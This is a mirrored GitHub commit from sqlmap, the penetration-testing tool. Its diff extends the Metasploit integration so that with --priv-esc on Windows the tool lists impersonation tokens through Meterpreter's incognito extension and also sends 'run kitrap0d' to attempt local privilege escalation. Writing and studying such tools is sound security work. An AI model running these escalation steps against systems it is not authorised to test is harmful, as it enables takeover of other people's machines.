mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-12-07 05:01:30 +00:00
run kitrap0d script along with listing Windows Impersonation Tokens via meterpreter's incognito extension when --priv-esc is provided (see #149).
This commit is contained in:
@@ -187,9 +187,10 @@ class Metasploit:
|
||||
def __selectPayload(self, askChurrasco=True):
|
||||
if kb.os == "Windows" and conf.privEsc:
|
||||
infoMsg = "forcing Metasploit payload to Meterpreter because "
|
||||
infoMsg += "it is the only payload that can abuse Windows "
|
||||
infoMsg += "Access Tokens via Meterpreter 'incognito' "
|
||||
infoMsg += "extension to privilege escalate"
|
||||
infoMsg += "it is the only payload that can be used to "
|
||||
infoMsg += "escalate privileges, either via 'incognito' "
|
||||
infoMsg += "extension or via 'kitrap0d' script, "
|
||||
infoMsg += "http://tinyurl.com/kitrap0d for details"
|
||||
logger.info(infoMsg)
|
||||
|
||||
__payloadStr = "windows/meterpreter"
|
||||
@@ -458,6 +459,12 @@ class Metasploit:
|
||||
|
||||
proc.stdin.write("list_tokens -u\n")
|
||||
|
||||
infoMsg = "trying also to escalate privileges using "
|
||||
infoMsg += "kitrap0d script"
|
||||
logger.info(infoMsg)
|
||||
|
||||
proc.stdin.write("run kitrap0d\n")
|
||||
|
||||
def __controlMsfCmd(self, proc, func):
|
||||
stdin_fd = sys.stdin.fileno()
|
||||
setNonBlocking(stdin_fd)
|
||||
|
||||
Reference in New Issue
Block a user